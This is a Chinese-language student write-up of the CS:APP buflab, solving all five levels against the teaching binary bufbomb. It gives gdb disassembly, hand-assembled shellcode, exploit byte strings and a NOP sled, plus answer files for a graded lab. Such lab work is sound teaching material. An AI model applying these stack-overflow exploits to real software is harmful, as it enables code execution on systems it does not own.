buflab-计算机系统实验

0. 查看cookie

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./makecookie 202026010521
0x685c1d96

1.Level0: Candle (10 pts)

Your task is to get BUFBOMB to execute the code forsmoke when getbuf executes its return statement,rather than returning to test.Note that your exploit string may also corrupt parts of the stack notdirectlyrelated to this stage, but this will not cause a problem, since smokecauses the program to exit directly.

题意解析:这里就是要让test运行完后,不直接返回退出。而是跳到smoke函数处,继续运行,而当smoke运行完毕后,才退出。

源码:

#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
//Smoke源码:
void smoke()
{
    puts("Smoke!: You calledsmoke()");
    validate(0);
    exit(0);
}

解题思路

在这里插入图片描述

Gets()函数用来获取数据到缓冲区,而Gets()函数不会对输入的数据进行边界检查。所以当我们的输入超过了缓冲区的大小(这里是32)时,超过缓冲区的数据就会覆盖内存中用作其它用途的数据,从而改变程序的行为。

要运行smoke()函数,只需要将buf区的内容冲到返回地址即可,这样原本应该返回到test()函数的地址被修改为了smoke()函数的地址

查看getbuf()汇编

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ gdb -q bufbomb
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	push   %ebp
   0x08049263 <+1>:	mov    %esp,%ebp
   0x08049265 <+3>:	sub    $0x38,%esp
   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

发现buf缓冲区大小为0x28,加上ebp所指空间,则到达返回地址空间,故答案中的前44个字节可以任意填写(由于Gets是通过换行符\n(ASCII值0x0a)界定输入终止的,所以前44字节只要不是0a就可以),最后四个字节填写smoke()函数的地址

查看smoke()函数的地址

(gdb) disassemble smoke 
Dump of assembler code for function smoke:
   0x08048e0a <+0>:	push   %ebp
   0x08048e0b <+1>:	mov    %esp,%ebp
   0x08048e0d <+3>:	sub    $0x18,%esp
   0x08048e10 <+6>:	movl   $0x804a2fe,0x4(%esp)
   0x08048e18 <+14>:	movl   $0x1,(%esp)
   0x08048e1f <+21>:	call   0x8048990 <__printf_chk@plt>
   0x08048e24 <+26>:	movl   $0x0,(%esp)
   0x08048e2b <+33>:	call   0x8049280 <validate>
   0x08048e30 <+38>:	movl   $0x0,(%esp)
   0x08048e37 <+45>:	call   0x80488d0 <exit@plt>
End of assembler dump.

地址为0x08048e0a,可以看到地址中有0a,查阅资料可知0a对应的ASCII码为换行符,写入会出错。可以看到smoke()最后有调用一个exit()函数,即直接退出程序,不再返回到原函数,所以smoke()函数的第一条汇编码可以忽略(此汇编码表示存储test()函数栈底esp的地址),所以我们选择0x08048e0b

答案及结果
./0.txt
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13
0b 8e 04 08

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 0.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Smoke!: You called smoke()
VALID
NICE JOB!

2.Level1: Sparkler (10 pts)

Similar to Level 0, your task isto get BUFBOMB to execute the code for fizz rather than returningto test. In this case, however, you must make it appear to fizz as if you havepassed your cookie as its argument. How can you do this?

题意解析:

在level 0的基础上,使getbuf函数的返回指向fizz函数,同时将fizz函数的参数置为userid对应的cookie值。

解题思路

fizz()函数源码

void fizz(int val) {
 if (val == cookie) {
    printf("Fizz!: You calledfizz(0x%x)\n", val);
    validate(1);
 }
 else
    printf("Misfire: You calledfizz(0x%x)\n", val);
 
 exit(0);
}

在这里插入图片描述

查看fizz()函数的汇编

(gdb) disassemble fizz 
Dump of assembler code for function fizz:
   0x08048daf <+0>:	push   %ebp
   0x08048db0 <+1>:	mov    %esp,%ebp
   0x08048db2 <+3>:	sub    $0x18,%esp
   0x08048db5 <+6>:	mov    0x8(%ebp),%eax
   0x08048db8 <+9>:	cmp    0x804d104,%eax
   0x08048dbe <+15>:	jne    0x8048de6 <fizz+55>
   0x08048dc0 <+17>:	mov    %eax,0x8(%esp)
   0x08048dc4 <+21>:	movl   $0x804a2e0,0x4(%esp)
   0x08048dcc <+29>:	movl   $0x1,(%esp)
   0x08048dd3 <+36>:	call   0x8048990 <__printf_chk@plt>
   0x08048dd8 <+41>:	movl   $0x1,(%esp)
   0x08048ddf <+48>:	call   0x8049280 <validate>
   0x08048de4 <+53>:	jmp    0x8048dfe <fizz+79>
   0x08048de6 <+55>:	mov    %eax,0x8(%esp)
   0x08048dea <+59>:	movl   $0x804a4d4,0x4(%esp)
   0x08048df2 <+67>:	movl   $0x1,(%esp)
   0x08048df9 <+74>:	call   0x8048990 <__printf_chk@plt>
   0x08048dfe <+79>:	movl   $0x0,(%esp)
   0x08048e05 <+86>:	call   0x80488d0 <exit@plt>
End of assembler dump.

0x08048dc0 <+17>:	mov    %eax,0x8(%esp)

这一步就是在取参数,正好取的就是第二个参数区的位置

在getbuf()的返回地址中存入fizz()函数的地址,返回地址上面的那个函数参数区存fizz()函数的返回地址,但由于fizz()函数根本不会返回,所以可以随意存,最上面的函数参数区存要传入的cookie参数

答案及结果

./1.txt
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13
af 8d 04 08 //fizz()函数的地址
11 11 11 11	//fizz()函数的返回地址
96 1d 5c 68 //cookie参数

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 1.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Fizz!: You called fizz(0x685c1d96)
VALID
NICE JOB!

3.Level2: Firecracker (15 pts)

Similar to Levels0 and 1, your task is to get BUFBOMB to execute the code for bang rather than returningto test. Before this, however, you must set global variable global_value toyour userid’s cookie. Your exploit code should set global_value, push theaddress of bang on the stack, and then execute a ret instruction to cause ajump to the code for bang.

题意解析:

令getbuf调用后不执行test函数,而是执行bang函数(默认会执行test函数),但是同时我们要修改global_value的值为cookie值。然而,global_value是一个全局变量,它没有储存再栈里面。所以在程序执行过程中,只能通过赋值语句来改变global_value的值。即这次我们不仅要让函数跳到bang中,而且要模拟一个函数调用来进行赋值。

解题思路

bang()函数源码

int global_value =0;
void bang(int val)
{
if (global_value ==cookie) {
printf("Bang!:You set global_value to 0x%x\n", global_value);
validate(2);
} else
printf("Misfire:global_value = 0x%x\n", global_value);
exit(0);
}

在这里插入图片描述

先假设我们已经有段攻击代码可以更改global_value的值,我们应该把这段攻击代码放在哪里?

答案是buf缓冲区,这里有很大一部分空间可以用来存放我们的攻击代码,返回地址存buf缓冲区的首地址,这样getbuf() return的时候会跑到buf缓冲区里面去,我们只需要将攻击代码加上一个返回指令,让代码执行结束后返回到bang()函数的位置,让程序继续运行bang()函数就ok

攻击代码需要实现的功能:

1.更改global_val的值为cookie
2.将bang()函数的地址作为返回地址压栈

查看bang()函数的汇编码

(gdb) disassemble bang 
Dump of assembler code for function bang:
   0x08048d52 <+0>:	push   %ebp
   0x08048d53 <+1>:	mov    %esp,%ebp
   0x08048d55 <+3>:	sub    $0x18,%esp
   0x08048d58 <+6>:	mov    0x804d10c,%eax
   0x08048d5d <+11>:	cmp    0x804d104,%eax
   0x08048d63 <+17>:	jne    0x8048d8b <bang+57>
   0x08048d65 <+19>:	mov    %eax,0x8(%esp)
   0x08048d69 <+23>:	movl   $0x804a4ac,0x4(%esp)
   0x08048d71 <+31>:	movl   $0x1,(%esp)
   0x08048d78 <+38>:	call   0x8048990 <__printf_chk@plt>
   0x08048d7d <+43>:	movl   $0x2,(%esp)
   0x08048d84 <+50>:	call   0x8049280 <validate>
   0x08048d89 <+55>:	jmp    0x8048da3 <bang+81>
   0x08048d8b <+57>:	mov    %eax,0x8(%esp)
   0x08048d8f <+61>:	movl   $0x804a2c2,0x4(%esp)
   0x08048d97 <+69>:	movl   $0x1,(%esp)
   0x08048d9e <+76>:	call   0x8048990 <__printf_chk@plt>
   0x08048da3 <+81>:	movl   $0x0,(%esp)
   0x08048daa <+88>:	call   0x80488d0 <exit@plt>
End of assembler dump.

得到bang()函数的首地址为0x08048d52

   0x08048d58 <+6>:	mov    0x804d10c,%eax
   0x08048d5d <+11>:	cmp    0x804d104,%eax

这两段代码可以看出global_val的地址为0x804d10c,0x804d104存放的是cookie的值

故攻击代码如下

movl $0x685c1d96,%eax  //将cookie值存入eax寄存器
movl %eax,0x804d104 //将eax中的(cookie)值存入global_value的地址
pushl $0x08048d52  //将bang作为返回地址压栈 
ret

将其保存为2.s文件

接下来将汇编代码(2.s)转化成二进制文件(2.o),并用objdump -d 命令查看

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ as 2.s -o 2.o
lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ objdump -d 2.o

2.o:     文件格式 elf32-i386


Disassembly of section .text:

00000000 <.text>:
   0:	b8 96 1d 5c 68       	mov    $0x685c1d96,%eax
   5:	a3 0c d1 04 08       	mov    %eax,0x804d10c
   a:	68 52 8d 04 08       	push   $0x8048d52
   f:	c3                   	ret    

得到有效攻击代码

b8 96 1d 5c 68
a3 0c d1 04 08
68 52 8d 04 08
c3 

最后,查看buf缓冲区的首地址

查看getbuf()汇编

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ gdb -q bufbomb
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	push   %ebp
   0x08049263 <+1>:	mov    %esp,%ebp
   0x08049265 <+3>:	sub    $0x38,%esp
   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)

gdb调试,设置断点在0x0804926b,并查看寄存器eax即可得知buf首地址

(gdb) b *0x0804926b
Breakpoint 1 at 0x804926b
(gdb) r -u 202026010521
Starting program: /home/lkl/桌面/计算机系统/buflab-handout/bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96

Breakpoint 1, 0x0804926b in getbuf ()
(gdb) p/x $eax
$1 = 0x55683848

buf首地址为0x55683848

答案及结果
./2.txt
b8 96 1d 5c 68
a3 0c d1 04 08
68 52 8d 04 08
c3 //攻击代码
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 18 19
10 11 12 13 14 15 16 17 //填充代码
48 38 68 55 //buff首地址

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 2.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Bang!: You set global_value to 0x685c1d96
VALID
NICE JOB!

4.Level 3: Dynamite (20 pts)

Your job for thislevel is to supply an exploit string that will cause getbuf to return yourcookie back to test, rather than the value 1. You can see in the code for testthat this will cause the program to go“Boom!.” Your exploit code should set your cookie asthe return value, restore any corrupted state, push the correct return locationon the stack, and execute a ret instruction to really return to test.

题意解析:

这次要求getbuf调用后,返回到test当中,但是不能破坏为test函数维护的堆栈状态(test函数加了堆栈状态检测),同时要让test函数调用getbuf后的返回值(val)为自己的cookie。

test,getbuf源码

#define NORMAL_BUFFER_SIZE 32
void test()
{
    int val;
    /* Put canary on stack to detect possiblecorruption */
    volatile int local = uniqueval();
    val = getbuf();
    /* Check for corruption stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has beencorrupted\n");
    }
    else if (val == cookie)
    {
        printf("Boom!: getbuf returned0x%x\n", val);
        validate(3);
    }
    else
    {
        printf("Dud: getbuf returned0x%x\n", val);
    }
}
int getbuf()
{
    char buf[NORMAL_BUFFER_SIZE];
    Gets(buf);
    return 1;
}

查看getbuf(),test()汇编

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ gdb -q bufbomb
Reading symbols from bufbomb...(no debugging symbols found)...done.
(gdb) disassemble getbuf
Dump of assembler code for function getbuf:
   0x08049262 <+0>:	push   %ebp
   0x08049263 <+1>:	mov    %esp,%ebp
   0x08049265 <+3>:	sub    $0x38,%esp
   0x08049268 <+6>:	lea    -0x28(%ebp),%eax
   0x0804926b <+9>:	mov    %eax,(%esp)
   0x0804926e <+12>:	call   0x8048c32 <Gets>
   0x08049273 <+17>:	mov    $0x1,%eax
   0x08049278 <+22>:	leave  
   0x08049279 <+23>:	ret    
End of assembler dump.

(gdb) disassemble test
Dump of assembler code for function test:
   0x08048e3c <+0>:	push   %ebp
   0x08048e3d <+1>:	mov    %esp,%ebp
   0x08048e3f <+3>:	push   %ebx
   0x08048e40 <+4>:	sub    $0x24,%esp
   0x08048e43 <+7>:	call   0x8048c18 <uniqueval>
   0x08048e48 <+12>:	mov    %eax,-0xc(%ebp)
   0x08048e4b <+15>:	call   0x8049262 <getbuf>
   0x08048e50 <+20>:	mov    %eax,%ebx
   0x08048e52 <+22>:	call   0x8048c18 <uniqueval>
   0x08048e57 <+27>:	mov    -0xc(%ebp),%edx
   0x08048e5a <+30>:	cmp    %edx,%eax
   0x08048e5c <+32>:	je     0x8048e74 <test+56>
   0x08048e5e <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048e66 <+42>:	movl   $0x1,(%esp)
   0x08048e6d <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048e72 <+54>:	jmp    0x8048eba <test+126>
   0x08048e74 <+56>:	cmp    0x804d104,%ebx
   0x08048e7a <+62>:	jne    0x8048ea2 <test+102>
   0x08048e7c <+64>:	mov    %ebx,0x8(%esp)
   0x08048e80 <+68>:	movl   $0x804a31a,0x4(%esp)
   0x08048e88 <+76>:	movl   $0x1,(%esp)
   0x08048e8f <+83>:	call   0x8048990 <__printf_chk@plt>

解题思路

在这里插入图片描述

由于此题开始要求回到test()函数,并且函数的栈空间不能被破坏,也就是test() 的ebp地址被冲掉之后还得给它存回去,那么在buf缓冲区的对应位置存回test() 的esp地址即可,返回地址依然存buf缓冲区的首地址,植入攻击代码,攻击代码的内容为:修改返回值即eax的值为cookie并重新回到test() 函数

上一题已经得知buf首地址为0x55683848,接下来要知道test() esp 的值

gdb设置断点在getbuf()函数(见上面的汇编码)中的

   0x08048e3c <+0>:	push   %ebp
   0x08048e3d <+1>:	mov    %esp,%ebp

0x08048e3d这个位置,此时test()的ebp地址已经被压入栈中,然后查看ebp所存的值

(gdb) b *0x08049263
Breakpoint 4 at 0x8049263
(gdb) r -u 202026010521
Starting program: /home/lkl/桌面/计算机系统/buflab-handout/bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96

Breakpoint 4, 0x08049263 in getbuf ()
(gdb) p/x $ebp
$4 = 0x556838a0

得到test()ebp地址的值为0x556838a0

接下来编写攻击代码,即将eax的值改为cookie,并且将程序返回到test()函数中,即test()函数调用getbuf()的下一条指令的位置

   0x08048e4b <+15>:	call   0x8049262 <getbuf>
   0x08048e50 <+20>:	mov    %eax,%ebx

0x08048e50

故攻击代码编写如下

movl $0x685c1d96,%eax  ;返回cookie值
pushl $0x08048e50        ;返回地址指向test中的getbuf调用后一条指令
ret                     ;返回test继续执行

重复上一关的操作得到有效攻击代码

b8 96 1d 5c 68
68 50 8e 04 08
c3

答案及结果

./3.txt
b8 96 1d 5c 68
68 50 8e 04 08
c3 //攻击代码
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
a0 38 68 55 //test()函数的ebp栈底地址
48 38 68 55 //buf缓冲区首地址

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw < 3.txt | ./bufbomb -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:Boom!: getbuf returned 0x685c1d96
VALID
NICE JOB!

5.Level4: Nitroglycerin (10 pts)

For this level, we have gone theopposite direction, making the stack positions even less stable than they normallyare. Hence the name “nitroglycerin”—an explosive that is notoriouslyunstable.When you run BUFBOMB with the command line flag “-n,” it will run in“Nitro” mode. Rather than calling the function getbuf, the program calls aslightly different function getbufn:

题意解析:

最后一关的要求和上一关一致,不过需要加上-n参数运行bufbomb,此时会进入testn和getbufn函数而不是test和getbuf函数。

testn(),getbufn()源码

#define KABOOM_BUFFER_SIZE 512
void testn()
{
    int val;
    volatile int local = uniqueval();
    val = getbufn();
    /* Check for corrupted stack */
    if (local != uniqueval())
    {
        printf("Sabotaged!: the stack has been corrupted\n");
    }
    else if (val == cookie)
    {
        printf("KABOOM!: getbufn returned 0x%x\n", val);
        validate(4);
    }
    else
    {
        printf("Dud: getbufn returned 0x%x\n", val);
    }
}
int getbufn()
{
    char buf[KABOOM_BUFFER_SIZE];
    Gets(buf);
    return 1;
}
解题思路

与3不同的是,这关会连续执行5次,且每一次test()函数的ebp地址会改变,然后buf缓冲区的大小变成了512,buf缓冲区的首地址在每次运行的时候也各不相同

看起来好像有点棘手,但实际上总空间大小是不变的进入buf缓冲区,还是顶掉返回地址,将返回地址设置成buf缓冲区的首地址,或者,buf缓冲区中间的某一个位置(因为buf缓冲区的首地址不确定了),然后让其一直执行,直到缓冲区末尾,然后我们将攻击代码放置在某位,这样,就算每次开始执行的位置不同,最后也都能执行到攻击代码的位置。那么怎么使程序持续执行到缓冲区末尾呢?

nop指令可以帮我们做到这一点,其编码为0x90,所以我们将缓冲区的前面很长一部分都用0x90来填充,末尾部分填充攻击代码,这样就能达到要求了

攻击代码的功能和上一关是一样的,这里就不细说了,只是有一点,testn()函数的ebp地址不再固定,所以我们只能通过esp即栈顶指针加上testn()函数的空间大小来确定ebp的地址

查看testn()和getbufn()的汇编码

Dump of assembler code for function testn:
   0x08048cce <+0>:	push   %ebp
   0x08048ccf <+1>:	mov    %esp,%ebp
   0x08048cd1 <+3>:	push   %ebx
   0x08048cd2 <+4>:	sub    $0x24,%esp
   0x08048cd5 <+7>:	call   0x8048c18 <uniqueval>
   0x08048cda <+12>:	mov    %eax,-0xc(%ebp)
   0x08048cdd <+15>:	call   0x8049244 <getbufn>
   0x08048ce2 <+20>:	mov    %eax,%ebx
   0x08048ce4 <+22>:	call   0x8048c18 <uniqueval>
   0x08048ce9 <+27>:	mov    -0xc(%ebp),%edx
   0x08048cec <+30>:	cmp    %edx,%eax
   0x08048cee <+32>:	je     0x8048d06 <testn+56>
   0x08048cf0 <+34>:	movl   $0x804a460,0x4(%esp)
   0x08048cf8 <+42>:	movl   $0x1,(%esp)
   0x08048cff <+49>:	call   0x8048990 <__printf_chk@plt>
   0x08048d04 <+54>:	jmp    0x8048d4c <testn+126>
   0x08048d06 <+56>:	cmp    0x804d104,%ebx
   0x08048d0c <+62>:	jne    0x8048d34 <testn+102>
   0x08048d0e <+64>:	mov    %ebx,0x8(%esp)
   0x08048d12 <+68>:	movl   $0x804a48c,0x4(%esp)
   0x08048d1a <+76>:	movl   $0x1,(%esp)
   0x08048d21 <+83>:	call   0x8048990 <__printf_chk@plt>

Dump of assembler code for function getbufn:
   0x08049244 <+0>:	push   %ebp
   0x08049245 <+1>:	mov    %esp,%ebp
   0x08049247 <+3>:	sub    $0x218,%esp
   0x0804924d <+9>:	lea    -0x208(%ebp),%eax
   0x08049253 <+15>:	mov    %eax,(%esp)
   0x08049256 <+18>:	call   0x8048c32 <Gets>
   0x0804925b <+23>:	mov    $0x1,%eax
   0x08049260 <+28>:	leave  
   0x08049261 <+29>:	ret   
   0x08048cce <+0>:	push   %ebp
   0x08048ccf <+1>:	mov    %esp,%ebp
   0x08048cd1 <+3>:	push   %ebx
   0x08048cd2 <+4>:	sub    $0x24,%esp

这个地方我是存有疑惑的,因为我觉得ebp应该是esp+24得到,但实际上是esp+28,不太明白是怎么回事,看网上其他人的博客,这里也一笔带过了

   0x0804924d <+9>:	lea    -0x208(%ebp),%eax

这里可以知道缓冲区有520个字节加上ebp所占空间有524个字节,最后四个字节即return地址,填写buf缓冲区的地址

先搞攻击代码,和上一关类似,就ebp地址的获取方式不同

mov $0x685c1d96,%eax ;将cookie传入
lea 0x28(%esp),%ebp	;获取ebp地址
push $0x08048ce2 ;返回到test()函数
ret

得到有效攻击代码

b8 96 1d 5c 68
8d 6c 24 28
68 e2 8c 04 08
c3

接下来是找最大的buf缓冲区首地址,这样即使每次buf缓冲区首地址不同也能够通过nop到达缓冲区末尾的攻击代码

断点设在0x08049253,查看eax即是buf首地址

   0x0804924d <+9>:	lea    -0x208(%ebp),%eax
   0x08049253 <+15>:	mov    %eax,(%esp)
(gdb) b *0x08049253
Breakpoint 1 at 0x8049253
(gdb) r -n -u 202026010521
Starting program: /home/lkl/桌面/计算机系统/buflab-handout/bufbomb -n -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$1 = 0x55683668
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$2 = 0x55683698
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$3 = 0x55683678
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$4 = 0x55683688
(gdb) c
Continuing.
Type string:                    
Dud: getbufn returned 0x1
Better luck next time

Breakpoint 1, 0x08049253 in getbufn ()
(gdb) p/x $eax
$5 = 0x55683688
(gdb) c
Continuing.
Type string: 
Dud: getbufn returned 0x1
Better luck next time

得到5个地址

$1 = 0x55683668
$2 = 0x55683698
$3 = 0x55683678
$4 = 0x55683688
$5 = 0x55683688

将最大地址0x55683698作为目标地址即可

答案及结果
./4.txt
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90 
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 90
90 90 90 90 90 90 90 90 90 //509个字节
b8 96 1d 5c 68
8d 6c 24 28
68 e2 8c 04 08
c3 //攻击代码15个字节,共524个字节
98 36 68 55 //buf目标地址

lkl@lkl-virtual-machine:~/桌面/计算机系统/buflab-handout$ ./hex2raw -n < 4.txt | ./bufbomb -n -u 202026010521
Userid: 202026010521
Cookie: 0x685c1d96
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
Keep going
Type string:KABOOM!: getbufn returned 0x685c1d96
VALID
NICE JOB!

完结撒花 _(:3」∠❀)__菊花碎了一地
在这里插入图片描述

  • 5
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值